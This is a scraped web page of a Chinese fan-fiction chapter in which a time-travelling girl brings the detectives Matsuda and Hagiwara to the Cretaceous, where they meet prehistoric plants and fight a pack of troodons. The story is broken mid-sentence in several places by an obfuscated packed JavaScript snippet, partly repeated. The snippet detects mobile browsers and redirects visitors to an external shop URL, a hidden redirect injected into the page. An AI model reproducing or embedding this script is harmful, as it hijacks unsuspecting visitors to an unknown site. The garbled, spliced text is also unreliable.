“对啊,有什么问题吗?” “问题大了!”世修从沙发上跳下来,一脸严肃地开始数落,“姐姐你想想,你体育成绩常年垫底,跑得慢、跳不高、力气还小,恐龙时代那么危险,到处都是霸王龙、迅猛龙什么的,你一个人去,万一刚落地就成了恐龙的早餐怎么办?” 我:“……”虽然这是事实,但被亲弟弟这么说,还是有点扎心。 “而且你还是未成年人,去那么危险的时代,最好还是有监护人陪同比较好吧?”世修继续说,“要不我叫哆啦美回来?” “不用不用。”我摆摆手,神秘兮兮地笑了,“放心啦,我自有办法!” 世修狐疑地看着我:“什么办法?姐姐你不会想自己去然后靠时间暂停器保命吧?那可是恐龙,你一秒钟没反应过来就被吃掉了,时停都来不及按的!” “你姐姐有那么蠢吗?”我白了他一眼。 世修没说话,但眼神里写着“有”。 “喂!” 我气得捶了他一拳,不过力道不重,世修嘻嘻笑着躲开了。 “放心啦。”我站起身,信心满满,“我这次会带保镖的,而且是两个特别厉害的保镖。” 世修歪着头,满脸疑惑。 保镖?姐姐什么时候认识保镖了? ………… 21世纪,警察宿舍。 难得的休息日,松田阵平已经晨练完毕吃完早餐,此刻正悠闲地叼着根烟,坐在沙发上翻看着今天的报纸。 萩原研二则坐在另一个沙发里,百无聊赖地翻着一本汽车杂志。 “啧。”松田阵平突然发出一声意味不明的轻嗤。 “怎么了?”萩原研二抬头。 松田阵平抖了抖报纸,嗤笑一声道:“考古新闻,说是在北美洲挖出了一个眼镜模样的化石,根据碳十四测年,这玩意儿来自于6800万年前的白垩纪,这帮考古学家真是越来越离谱了,6800万年前的眼镜?那时候连猴子都没有,谁戴眼镜?恐龙吗?” 他晃了晃报纸,头版上赫然印着一张照片——一块形状奇特的石头,轮廓确实有点像一副圆框眼镜,旁边还有考古学家拿着放大镜研究的配图,标题写着:【震惊!6800万年前已有眼镜?北美洲发现疑似史前人类文明遗迹!】 萩原研二凑过来看了一眼,忍不住笑出声:“可能是哪只近视的三角龙丢的吧。” 两人正说笑着,突然—— 空气中泛起一阵涟漪。 就在两人之间不到两米的位置,一个直径约一米的七彩漩涡凭空出现,无声地旋转着。 松田阵平和萩原研二几乎是同时条件反射地坐直了身体,目光锐利地锁定那个洞口,紧接着,他们看到一个熟悉的脑袋从漩涡里探了出来,脸上挂着灿烂的笑容。 “早上好呀,松田君,萩原君!”我笑嘻嘻的打招呼道。 看清来人,两人紧绷的神经才放松下来,萩原研二露出了温和的笑容道,“早上好,春子小姐。” 松田阵平掐灭了烟头,语气还是那副欠揍的样子:“又来‘走错地方’了?” “才不是!”我从时光洞口爬出来,稳稳落在地板上,拍拍手上不存在的灰尘,“我今天是有事来找你们的!” 松田阵平把报纸放到一边,挑了挑眉:“什么事?” “是这样的。”我走到沙发边,很自然地在松田阵平旁边坐下:“我的历史观察报告,这次想写关于恐龙时代的主题,想去白垩纪实地考察一下,但是我的朋友今天正好出去玩了,我一个人又不太敢去……” 我顿了顿,用期待的眼神看向他们。 “所以我想来问一下,你们要不要跟我一起去白垩纪旅行?” 空气安静了三秒。 “……白垩纪?”萩原研二不确定地重复了一遍,“恐龙的那个白垩纪?” “对呀对呀!”我点头如捣蒜,“就是有霸王龙、三角龙、翼龙的那个白垩纪!” 松田阵平:“……” 萩原研二:“……” 两人的表情瞬间变得极其精彩,说实话,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等等——”眼看两人就要转身去收拾,我突然想起什么,连忙叫住他们,他们停下脚步,回头看我。 我从沙发上跳起来,掰着手指头给他们列注意事项:“首先,白垩纪那个时代,可没有什么便利店酒店餐厅,你们现在带的东西要仔细想好,食物、水、住宿这些我来解决,你们不用操心,所以你们只需要带些换洗衣物和个人必需品就行。” “了解。”萩原研二眨眨眼,也去准备了。 十分钟后,两人各自拎着一个背包走了出来,松田阵平换了一身深色的休闲装,依旧戴着那副墨镜,看起来又酷又可靠,萩原研二则穿着浅色的夹克,脖子上挂着台专业相机,看起来像是要去采风的摄影师。 “收拾好了?”我迎上去。 “嗯,就几件换洗衣服和洗漱用品。”松田阵平简短地说。 “还有相机和备用电池。”萩原研二笑着补充,“这么好的机会,不多拍点照片太可惜了。” “可以带可以带。”我点头,看向他们的背包,“来,把行李给我。” 松田阵平把背包递给我,我接过来,在两人的注视下,直接把背包塞进了我腰侧那个看起来只有拳头大的四次元皮包里,背包消失的瞬间,松田阵平的眼角明显跳了一下,萩原研二也下意识地眨了眨眼,确认自己没有眼花。 “你的包……”松田阵平盯着我的四次元皮包,眼神灼热,“内部空间折叠?还是连接了异次元?” “它叫四次元百宝皮包啦,内有无限容量的四次元空间。”我把萩原研二的行李也塞进去,“搞定,走吧~” 我率先爬进时空入口,回头朝他们招手:“快来!” 松田阵平毫不犹豫地跟上,萩原研二也跳了进去,短暂的失重后两人稳稳地落在了我的粉蓝色时光机上,这个“空飞地毯型”时光机原本只设计了一个座位,我正坐在上面,他们俩只能一左一右站在我身后稍窄一些的平台上。 “哇哦……”萩原研二站稳后,忍不住低声惊叹,两人好奇地打量着四周,七彩的时空通道里,无数时钟虚影在其中沉浮旋转。 松田阵平伸手摸了摸时光机的外壳,触感温润,不像是任何已知的金属材料,他又抬头看向通道里那些旋转的时钟虚影,眉头微微皱起,似乎在努力理解眼前的一切。 “这就是时光机?”他问,语气里带着毫不掩饰的探究欲。 “对呀。”我点头,“最新款的,虽然便宜了点,但性能还不错。” “运行原理是什么?”松田阵平继续问,眼神灼热得像要把时光机拆开研究。 “唔……不知道。”我诚实地摇头,“说明书上写了一大堆公式和术语,我看不懂,反正会用就行啦。” 松田阵平似乎对我的回答很不满意,啧了一声,但也没再追问,只是继续用那种仿佛要把时光机拆开研究的目光上下扫视,他又伸手摸了摸时光机的各种部件,萩原研二也好奇地东摸摸西看看,两人都满脸新奇。 “这是导航系统吗?”萩原研二指着操作面板问。 “对,设定坐标用的。”我解释道,“只要说出时间和地点,它就会自动导航,当然也可以切换成手动驾驶。” 松田阵平的目光落在操作面板上,凫青色的眼眸里满是深思,他似乎在努力记忆看到的一切,仿佛想把时光机的每一个细节都刻在脑子里。 “好啦好啦,别研究啦,抓紧了,我们要出发了!”我看他们摸得差不多了,才出声提醒。 松田阵平和萩原研二闻言,各自找了个稳妥的位置站稳,手扶住了椅背,我清了清嗓子,对时光机下达指令: “出发!去6800万年前的北美洲!” 【指令接收,目的地:6800年前白垩纪末期,北美洲大陆,正在计算航线……航线确认,启动时空跳跃。】 机械音落下的瞬间,时光机轻轻一震,开始在时空通道中加速,松田阵平和萩原研二被这突如其来的推背感弄得身形一晃,赶紧抓紧椅背。 周围的流光被拉成绚丽的线条,松田阵平和萩原研二站在我身后,看着这超越常识的景象,即使已经有过几次超现实体验,此刻依然感到了难以言喻的震撼。 我回头看着他们那副又紧张又兴奋的表情,忍不住笑出声。 “抓紧咯,两位21世纪的警察先生——真正的时空旅行,现在开始啦!” 8.6800万年前 时光机在流光溢彩的通道中平稳穿行,萩原研二扶着座椅靠背,望着周围那些沉浮旋转的时钟虚影,紫罗兰色的眼眸里倒映着流转的光芒。 “真是不可思议……”他轻声感叹,声音在寂静的时空通道中显得格外清晰,“我们现在正在逆流而上,回到恐龙称霸的岁月。” 我坐在驾驶座上,感受着时光机轻微的震动,得意地翘起嘴角:“怎么样?比坐你们那个新干线刺激多了吧?” “何止是刺激。”萩原研二笑道,“这简直是在重新定义‘旅行’这个词。” 松田阵平站在另一侧,双手扶着座椅靠背,墨镜后的目光紧盯着那些旋转的时间标记,他的表情比萩原研二更加专注,仿佛在试图解析眼前这一切背后运行的规律。 “时间和空间都变成了可观测、可穿行的维度……”他低声自语,凫青色的眼中闪烁着强烈的好奇,“如果能把这种技术拆开看看……” “喂,别打时光机的主意!”我立刻警觉地回头瞪他,“这个可是贷款买的,弄坏了我会被未来银行追债的!” 松田阵平轻哼一声,移开视线,但眼中的兴趣并未减退。 时光机大约行驶了十五分钟后,速度逐渐减缓。 【目的地已到达:6800万年前白垩纪末期,北美洲西部拉腊米迪亚大陆,正在展开时空出口。】 机械音落下的瞬间,前方的通道壁面开始扭曲、变形,一个边缘泛着微光的出口缓缓展开。 “到了!”我兴奋地从座位上站起来,但并没有立刻冲出去,我从四次元皮包里摸索了一阵,掏出了一个看起来像塑料枪的蓝色道具,“来,先照一下这个。” 松田阵平和萩原研二立刻投来好奇的目光。 “这又是什么?”松田阵平的目光落在这个新道具上。 “适应灯。”我一边解释,一边先对着自己按下了开关,适应灯发出柔和的白色光芒,“白垩纪的空气成分、含氧量、气温,都和现代不一样,直接暴露在这种环境下可能会有不适反应,而被这个灯照过之后,无论是超高温、超低温、真空宇宙空间、高水压深海,还是重力气压完全不同的地方,都能以肉身状态毫无问题地活动。” 我照完自己,又把灯口对准松田阵平,从他头顶照到脚底。 松田阵平低头看着自己的身体被白光笼罩,挑了挑眉:“效果能持续多久?” “大概24小时。”我照完他,又转向萩原研二,“不过放心,我带了好几个备用电池,不够再照。” 萩原研二任由白光笼罩自己,紫眸中带着好奇和思索:“有了这个……未来的人类才能进行太空旅行吧?” “没错。”我点头道,“去月球火星什么的,就不用穿那些笨重的宇航服了,直接照一下,然后就可以自由活动。” “真是方便的技术。”萩原研二感叹。 松田阵平没说话,只是从我手中拿过适应灯,翻来覆去地看了看,当然,以他现在的知识储备,根本看不出任何门道,他啧了一声,把灯还给我。 照完适应灯,我正准备出去,松田阵平却先一步按住了我的肩膀:“等等。” “嗯?” 他没解释,只是身体微微前倾,目光锐利地扫视着出口外的景象,侧耳倾听,确认没有明显的危险动静后,才率先一步,利落地跨出了时空出口,他站在那片史前的土地上,迅速环顾四周,高大的身影在昏暗的光线下显得格外警惕。 几秒后,他的声音传了回来:“外面暂时安全,可以出来了。” 萩原研二对我笑了笑,紧跟其后,我最后一个跳了出去。 双脚落地,踩在松软湿润、铺满落叶和蕨类的地面上,一股原始的带着泥土和植物腐朽气息的空气扑面而来。 我们三人站在一片难以用语言形容的远古森林中。 参天巨木拔地而起,树干之粗壮,数人合抱恐怕都难以围拢,高度更是令人咋舌,树冠在极高处交织成一片厚重的绿色穹顶,将绝大部分阳光过滤在外,只在缝隙间投下稀疏的的光柱,照亮空气中缓缓浮动的尘粒。 那些树木的模样十分奇特,大部分是类似苏铁、松柏类的古老的裸子植物,枝干虬结,树皮粗糙,透着苍劲的岁月感,更下方,是密密麻麻、种类繁多到无法辨认的蕨类、低矮灌木和地衣,许多植物的叶片形态奇特,带着锯齿或奇异的脉络,有些蕨类的叶片长度甚至超过两米,地面上覆盖着厚厚的苔藓和地衣,踩上去柔软而富有弹性。 与深秋微凉的东京截然不同,这里的空气弥漫着浓重的湿气,温热而潮湿,让人仿佛置身于巨大的温室,幸好之前照过适应灯,我们并未感到任何呼吸或体温上的不适。 “这就是……白垩纪。”萩原研二仰望着那遮天蔽日的树冠,喃喃道,随即兴奋地举起了挂在胸前的相机,开始对着周围奇异的植物景观开始拍个不停。 松田阵平则保持着警惕的姿态,墨镜后的目光锐利地扫视着周围的环境, “好多都没见过的植物……”我小声嘀咕,点开左手腕上伪装成手环的光脑,对着周围的植物开始摄像和扫描,光脑投射出淡淡的蓝色光屏,上面迅速显示出各种数据和比对结果。 “这可是绝版照片。”萩原研二一边调整焦距,一边笑着说,“活生生的6800万年前白垩纪植物,真正的活化石……不,比化石还珍贵,不多拍几张,这辈子都会后悔。” 我们俩凑到一起,边拍照边研究这些史前植物,其中一处低矮灌木上面开着几簇淡黄色、形状奇特的小花,我指着其中一株说道:“萩原君,你看这花,形状好特别,也不知道叫什么名字。” 萩原研二凑过来看了看,又仔细观察了叶片和茎干的形态,思索片刻后说:“从形态特征来看,这应该是Marmarthia属的植物,属于樟树科,不过我也只是猜测,毕竟这类植物早在白垩纪末期就灭绝了,现代只能通过化石了解。” “咦?萩原君你懂植物?”我有些惊讶。 “一点点。”他谦虚地笑笑,“以前在书上看过一些古植物学的知识。” “所以6800万年前已经有开花植物了?”我好奇的问道。 “有。”这次回答的是松田阵平,他不知何时也走了过来,目光扫过那些花朵,“开花植物出现的具体时间,科学界主要有两种观点,最主流的说法是约1.25亿年前的早白垩纪就已经出现,证据是最早的被子类植物化石,比如华国发现的辽宁古果化石,被誉为‘世界上的第一朵花’。” 他顿了顿,继续说:“另一种观点是基于基因测序的现代研究推测,开花植物的祖先可能早在2.5亿年前到1.45亿年前就起源了,只是当时的它们又小又稀有,很难留下化石。” “原来如此。”我恍然大悟,“所以白垩纪晚期,开花植物应该已经比较常见了?” 萩原研二笑着补充道:“开花植物出现时间的这个问题,可是被誉为‘达尔文的讨厌之谜’呢,连达尔文自己都在信件里抱怨,被子植物在中生代突然大量出现,与进化论的渐进观点似乎有矛盾。” 我若有所思地点点头,心想这两个警察的知识储备还真丰富,然后用光脑把这些信息都记录下来,这可是绝佳的作业素材! 我回头看了一眼身后那个悬在半空的时空出口,从包里掏出缩小灯,对着里面的时光机照了一下,粉蓝色的时光机瞬间缩小成巴掌大,飘了出来,我伸手接住,塞回四次元皮包。 “不留退路?”松田阵平注意到了我的动作。 “嗯,这里太危险了,我们不走回头路。”我拍拍腰间的包,“放心,我们随时可以用时光机回去。” 研究了一会儿植物,我们决定开始寻找此行的主要目标——恐龙,我掏出了一根看起来平平无奇的木质手杖。 “寻人手杖,请告诉我,距离这里最近的草食恐龙群在哪里?”我问道。 手杖在我手中立起,微微颤动,转了几圈后,啪嗒一声倒向我们的左前方。 松田阵平盯着那根手杖:“这又是什么?占卜杖?” “这叫寻人手杖。”我宝贝似的把它捡起来,“虽然只有70%的命中率,但关键时刻可以赌一把,比漫无目的地找强多了。” 萩原研二好奇的问道:“春子小姐,不能用任意门直接定位恐龙吗?” 我摇头:“不行啦,任意门需要地图坐标才能使用,白垩纪的地图……根本没录入过。” 两人恍然大悟,松田阵平看了一眼手杖指的方向,又看了看周围茂密的植被:“要步行?” “先步行一段吧。”我提议道,“我想多观察一些白垩纪晚期的动植物资料,反正我们有竹蜻蜓,走累了可以用竹蜻蜓飞。” 松田阵平和萩原研二对视一眼,都没有反对,他们也很好奇,这个时代的森林到底是什么样子,而且他们从21世纪出发时,就换上了适合野外徒步的靴子,手上也戴了战术手套,准备工作做得相当充分。 “那么现在——”我双手叉腰,摆出队长的架势,“白垩纪三人探险小队,现在出发!松田队员、萩原队员,请跟紧队长,不要掉队!” 松田阵平挑了挑眉:“为什么你是队长?” “因为我掌管道具啊!”我得意地扬起下巴,拍拍腰间的四次元皮包,“掌握资源的人就是老大!萩原君,你说对不对?” 萩原研二愣了一下,随即笑着点头:“嗯,我觉得春子小姐说得很有道理。” “二比一!”我冲松田阵平做了个鬼脸,“民主投票,队长是我的啦!” 松田阵平啧了一声,手又有些发痒,这小鬼得意洋洋的样子,真是让人想弹她脑门。 我为了以防万一,先把时间暂停器从包里拿出来,握在手里,毕竟在这个到处都是恐龙的时代,有备无患总是好的。 于是,萩原研二走在最前面探路,顺便时不时抛出寻人手杖确认方向,我走在中间,好奇地东张西望,用光脑记录着周围的一切,松田阵平则走在最后,负责断后警戒。 白垩纪的森林远比我想象的生机勃勃,除了高大的植物,我们还看到了许多昆虫,有像布甲、金龟甲之类的甲虫,但个头都比现代大得多,有的甚至有手掌大小,地面上随处可见各种爬行的小型节肢动物。 “哇,这个好大……”我指着一只趴在树干上的、约莫有几十厘米长的甲壳类昆虫。 “白垩纪的昆虫,本来就比现代大。”松田阵平解释道,“含氧量高,促进了昆虫等节肢动物的体型增长。” 萩原研二凑过来拍了一张,笑着说:“可惜不能带回去,不然可以抓几只回去给鉴定科的同事看看。” 我们正说着,一个巴掌大的黑影突然从我前方的蕨叶中飞出来,直扑我的面门。 “呀啊——!”我吓得尖叫一声,本能地往后急退,脚后跟却绊在一条突起的树根上,整个人顿时失去平衡向后仰倒。 预想中的疼痛没有到来,一只有力的手臂及时揽住了我的腰,把我整个人捞了回来,我惊魂未定地抬起头,发现自己的脸正对着一个结实的胸膛,一股淡淡的烟草味混合着干净的皂角气息钻入鼻尖。 是松田阵平。 他一手揽着我的腰,另一只手撑在我身侧的一棵树上,高大的身躯将我整个人笼罩在阴影里,因为刚才的冲势,我几乎是被他半抱在怀里,能清楚地感受到他手臂上肌肉的线条和透过衣服传来的体温。 我的脸腾地红了。 “谢、谢谢……”我慌忙站直身体,向后退出两步,从他怀里退出来,脚步还有些踉跄。 松田阵平收回手,表情倒是没什么变化,只是那双凫青色的眼睛在我脸上停留了一瞬。 几乎同时,走在前面的萩原研二反应极快,回身用手里的寻人手杖凌空一抽。 那袭击我的东西被抽落在地,挣扎着发出尖锐的“吱吱”声,竟是一只体型堪比小型鸟类、翅膀透明、复眼巨大的史前巨蝉,或者说,某种类似蝉的巨型昆虫。 萩原研二松了口气,回头看来,正好看到少女红着脸略显慌乱地从松田阵平身前退开,而松田阵平的手臂似乎刚刚收回,他紫罗兰色的眼眸眨了眨,闪过一丝了然的笑意,但很快掩饰过去,关心地问:“春子小姐,没事吧?” “没、没事!”我拍拍胸口,心有余悸地瞥了一眼地上那只还在挣扎的巨虫,松田阵平没说什么,只是眼神示意我们继续小心前进。 越往前走,森林的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216429|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 植被似乎逐渐变得稀疏了一些,头顶透下的光线也明亮了不少,偶尔能看到地上散落着一些巨大的、雪白的骨骼——有的是完整的肋骨,有的是脊椎骨,有的则是硕大的头骨碎片。 “恐龙骨头!”我兴奋地跑过去,光脑对准骸骨就是一顿狂拍。 松田阵平和萩原研二也蹲下来仔细查看,萩原研二伸手轻轻触摸着那巨大的肋骨,感慨道:“真实的恐龙化石……不,这还不是化石,是刚死不久的骨头……” 松田阵平仔细观察其中一根骨头,他眉头微皱,语气里带着专业性的判断:“这应该是某种大型恐龙的肋骨……看这尺寸,体长至少十几米。” 萩原研二也仔细查看,神色变得严肃:“而且这些骨头上有咬痕……是被捕食者啃食过的痕迹。” “看来这附近是掠食者的活动区域。”松田阵平判断道。 “食肉恐龙吗?”我有点紧张地问,突然有点毛骨悚然,下意识地往松田阵平身边靠了靠。 “很可能。”萩原研二站起身,拍了拍手上的尘土,“小心些。” 继续前行,路越来越难走,地面坑坑洼洼,到处都是蕨类植物和倒下的枯木,前方出现了一个有些陡峭的土坡,坡面湿滑,坡面覆盖着湿滑的苔藓和蕨类。 “我先上。”萩原研二观察了一下,率先手脚并用地爬了上去,动作十分矫健,轮到我了,我试着攀爬,但坡面的苔藓让我脚下打滑,试了两次都没成功。 松田阵平啧了一声,走到坡下,蹲下身,拍了拍自己的肩膀:“踩上来。” 我愣了一下:“啊?” “快点。”他催促道。 我犹豫了一下,还是小心翼翼地抬起脚,踩在他宽厚结实的肩膀上,幸好我穿的是22世纪的特制鞋子,不仅防滑,还自带洁净功能,踩过也不会留下污迹,松田阵平稳稳站起,将我托高,坡上的萩原研二立刻伸手,一把将我拉了上去。 等我站稳后回头,看到松田阵平只是轻松地撑住坡面,双手用力,整个人就轻松利落地就翻了上来,动作流畅得像做过无数次一样。 他落地后拍了拍身上的灰尘,发现刚才对方踩在他肩膀上时,鞋子并没有在他衣服上留下任何痕迹,这让他不由多看了对方的鞋一眼。 我忍不住小声嘀咕:“好厉害……” 松田阵平瞥了我一眼,嘴角似乎弯了一下,但很快又恢复了那副酷酷的表情。 又走了一段路,我终于撑不住了,一屁股坐在一块大石头上,气喘吁吁地摆手,“不、不行了……我走不动了,休息一下,等下我们用竹蜻蜓赶路吧。” 走了这么久,我的腿又酸又麻,脚底板也开始疼了,反观松田阵平和萩原研二,两人气息平稳,神色如常,看起来就跟刚出发时没什么两样。 松田阵平看了我一眼,没说话,但也没反对,萩原研二笑着递给我一张手帕说道:“春子小姐体力还需要锻炼啊。” “我是脑力劳动者嘛!”我抗议道,接过手帕擦了擦汗。 松田阵平走过来,低头看我:“渴了,水呢?” 我闻言,伸手在四次元皮包里掏了掏,在两人略带期待的目光中,最后掏出了——两瓶矿泉水。 松田阵平接过瓶子,看着上面熟悉的商标和包装,就是21世纪便利店最便宜的那种,嘴角抽了抽道:“你就没有更……未来一点的饮用水?” “喂,干嘛这个表情。”我看到他嫌弃的表情,立即理直气壮地教育他,“不能每样东西都依靠道具好不好,有时候最简单的反而是最实用的!” 萩原研二在一旁轻笑出声:“春子小姐说得对,而且能在白垩纪喝到21世纪的水,已经是一种奢侈了。” 松田阵平啧了一声,拧开瓶盖喝了一口。 两个男人喝完水,起身走到离我几米开外的地方,背靠着一棵巨树,各自点燃了一根烟。 “在白垩纪抽烟……”萩原研二深吸一口,看着淡蓝色的烟雾在林间阳光下缓缓升腾,笑着摇头,“真是做梦都想不到的体验,这经历说出去估计没人信。 松田阵平没说话,只是吐出一口烟圈,目光依然警惕地巡视着周围。 就在这时,我感到一阵尿意。 “那个……我去旁边方便一下。”我站起身,有些尴尬的说道。 松田阵平闻言立刻转头,眉头微皱:“别走太远,这里不安全。” “知道啦,我就在旁边。”我指了指不远处一片茂密的蕨草丛,“很快回来。” 我走到那片蕨草丛后,确认四周看起来安全后,把时间暂停器放在一旁凸起的石头上,毕竟手里拿着东西不方便,然后我开始准备解连体衣侧面的拉链。 突然,我听到了什么声音,窸窸窣窣的,像是有什么东西在草丛里移动。 我停下动作,仔细听了听,声音又消失了,我以为是风吹动蕨叶的沙沙声,就没太在意,继续准备脱衣服。 就在我的手刚碰到拉链的瞬间,一种被注视的毛骨悚然感突然涌上心头。 我僵在原地,缓缓转过头。 只见距离我不到三米的地方,一个脑袋从蕨草丛中探出来,一双黄褐色的眼睛正直勾勾地盯着我,那眼睛的主人隐匿在枝叶间,看不清全貌,但那目光中的捕食者意味让我瞬间血液冰凉。 我和那双眼睛对视了整整两秒。 然后—— “啊啊啊啊啊啊——!!!” 我的尖叫声撕裂了丛林的寂静。 不远处,正在抽烟的松田阵平和萩原研二脸色骤变,几乎是瞬间就扔掉烟头,朝我的方向狂奔而来。 那只生物看到自己已经被发现,也不再隐藏,从草丛里钻了出来。 那是一只体长两米多、站起来差不多有一米高的恐龙,它身上覆盖着灰褐色的羽毛,用两条后腿站立,前肢上长着如镰刀形状的锋利爪子,它朝我张开嘴,发出一声尖锐的鸣叫,露出满口锯齿状的牙齿。 更糟糕的是,不止一只,随着第一只完全现身,另外三只体型稍小的同类也从周围的植被中钻了出来,呈半圆形将我包围。 我想去拿放在石头上的时间暂停器,但为首的那只恐龙已经发出一声尖锐的嘶鸣,猛地朝我冲来。 9.三人VS恐龙 “噗通!” 它的速度快得惊人,几乎是眨眼间就扑到了我面前,我根本来不及反应,只能下意识地向后退,结果脚后跟再次绊到东西,这次是一截粗壮的藤蔓,整个人重重摔在地上,那张布满利齿的嘴朝我咬来。 “砰!” 一声沉闷的撞击声,那只恐龙发出一声尖锐的哀鸣,整个身体向侧面翻滚出去,重重撞在旁边的树干上。 我跌坐在地上,惊魂未定地抬起头,看到松田阵平挡在我身前,保持着一个出拳的姿势,他刚才那一拳,结结实实地打在了恐龙的侧脸上,巨大的冲击力让恐龙整个身体向一侧歪倒,重重摔在地上,挣扎着想要爬起来。 萩原研二这时也赶到了,他手里握着寻人手杖,挡在我另一侧。 “春子小姐,你没事吧?”他快速问道,目光却紧盯着剩下的三只恐龙。 松田阵平一击得手后迅速后退,和萩原研二一左一右站在一起,将我护在身后,他们背靠着一棵粗大的古树,避免被从背后偷袭。 “我、我没事,这、这是……”我声音发颤。 “伤齿龙。”松田阵平的目光扫过那几只恐龙的生理特征,声音低沉而快速,“白垩纪晚期常见的中小型肉食性恐龙,群居,智商相对较高,擅长协作捕猎。” 萩原研二脸色也变得十分凝重:“麻烦了。” 那三只伤齿龙看到同伴被打倒,显然没料到这两个陌生的“大家伙”如此棘手,它们围绕着我们,发出发出更加尖锐的叫声,镰刀般的爪子不安地抓挠着地面,寻找进攻机会。 就在这时,一只伤齿龙似乎找到了空隙,猛地从侧面冲向萩原研二,另一只则配合着扑向松田阵平,战斗瞬间爆发。 松田阵平侧身躲过正面攻击,一记勾拳狠狠砸在伤齿龙的颈部,他出拳又快又狠,完全没有保留,那只恐龙发出一声哀鸣,踉跄后退。 另一边,萩原研二把寻人手杖当做了武器,精准地挡住侧面的利爪,随即一个转身,手杖重重抽在恐龙的脑袋上,他灵活地闪避着伤齿龙的爪牙,用手杖格挡、戳刺,专门攻击其相对脆弱的关节和眼睛,让那只伤齿龙一时间也无法近身。 然而,第三只伤齿龙却狡猾地绕到了侧面,趁着松田阵平应付正面之敌时,悄无声息地跃起,利爪直取他的后颈。 “松田君后面!”我被他们护在中间,看得心惊胆战,急得大喊,同时手忙脚乱地在四次元皮包里掏摸。 松田阵平仿佛背后长眼,在千钧一发之际猛地俯身,伤齿龙的利爪擦着他的发梢掠过,但这一下也让他正面露出了破绽,面前的伤齿龙趁机咬来。 就在这危急时刻—— 我终于从包里掏出了那个圆筒状的未来武器,也就是空气·炮,我迅速把它戴在手上,对准偷袭松田阵平背后的那只伤齿龙。 “砰!” 一团无形的空气弹激射而出,正中那只伤齿龙的腹部,那只伤齿龙发出一声惨叫,整个身体向后倒飞出去,撞断了好几根灌木,翻滚着摔进远处的草丛,挣扎了几下,而几乎同一时间,松田阵平解决了他的对手,他一记重拳击中恐龙的太阳穴位置,那只伤齿龙晃了晃,瞬间软倒在地。 紧接着,我调转炮口,对着正与萩原研二缠斗的那只也来了一炮。 同样被空气·炮轰飞的命运。 两只同伴昏迷,它们则瞬间被“神秘力量”击飞,两只伤齿龙爬起来后显然被震慑住了,它们发出急促不安的嘶叫,缓缓后退,最终转身,飞快地窜入了茂密的丛林深处,消失不见。 四周终于安静下来,我双腿一软,差点瘫坐在地上,大口大口地喘着气。 松田阵平和萩原研二这才松了口气,但依旧保持着警戒姿态,确认周围再无异动,松田阵平转头看向我,上下打量了我一眼,确认我没有受伤后,才放下心。 “春子小姐!”萩原研二快步走过来,“你没事吧?” “我、我没事……”我摇摇头,声音还在发抖,但下一秒,我想起了什么,目光焦急地扫向那块石头。 “我的时间暂停器!!!” 只见石头上空空如也,而旁边松软的地面上,赫然有一个被踩得稀烂的的残骸,黄铜色的外壳已经裂成几块,内部精密的零件散落一地,那个红色的按钮更是碎得不成样子,显然,在刚才的混乱中,某只伤齿龙的爪子或脚,不幸地成为了时间暂停器的终结者。 我欲哭无泪地跑过去,小心地捡起那堆碎片:“完了完了被踩坏了……这个修起来要好多钱……” “人没事就好。”萩原研二安慰我道。 松田阵平也走过来,捡起时间暂停器最大的那块碎片,看了看问道:“能修吗?” “应该可以……”我小心翼翼地把所有碎片收集起来,用一块手帕包好,放进四次元皮包,“回去让哆啦A梦或者哆啦美用时间包袱皮试试。” “先离开这里。”松田阵平打断我的碎碎念,“血腥味和打斗声可能会引来其他捕食者。” 经过这一遭,谁也不敢再在丛林里步行了,我没有异议,立刻从包里掏出三个竹蜻蜓分给两人:“戴上这个,我们飞着走。” 松田阵平和萩原研二接过那个小小的道具,熟练的戴在头上,他们之前已经研究过这个道具的使用方法。 竹蜻蜓的叶片快速旋转起来,发出轻微的嗡鸣,下一秒,松田阵平的身体缓缓离开地面,萩原研二也飘了起来,他低头看着自己悬空的双脚,笑着感慨:“真是不可思议……每次用都觉得像做梦。” 我也戴好竹蜻蜓,三人在离地百米的空中并排悬浮,俯瞰着这片史前森林,从高处看,那些巨木更加壮观,连绵不绝的树冠像一片绿色的海洋。 “走吧。”我说,带头朝寻人手杖之前指示的方向飞去。 阳光从更高处洒落,照在我们身上,温暖而明亮,微风拂过,带来原始森林特有的气息。 萩原研二举着相机,一边飞一边拍摄着脚下的风景,松田阵平则飞在我身侧,目光时不时扫过四周,始终保持着警戒的姿态。 我偷偷看了他一眼,又迅速移开目光。 刚才……他冲过来的那一瞬间,真的好像英雄啊。 “看什么?”松田阵平突然转头,凫青色的眼睛透过墨镜看向我。 我吓了一跳,连忙别过脸:“没、没什么!” 松田阵平轻哼一声,嘴角却似乎弯了一下。 飞了十几分钟后,脚下的地形终于开始变化。 茂密的森林逐渐稀疏,取而代之的是一片开阔的林地与广阔的平原,阳光毫无保留地倾泻下来,照得整个世界一片金黄。 “你们看那边——”萩原研二突然指着前方,声音里带着难以掩饰的不可置信。 我们顺着他的手指望去,瞬间屏住了呼吸。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236470|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 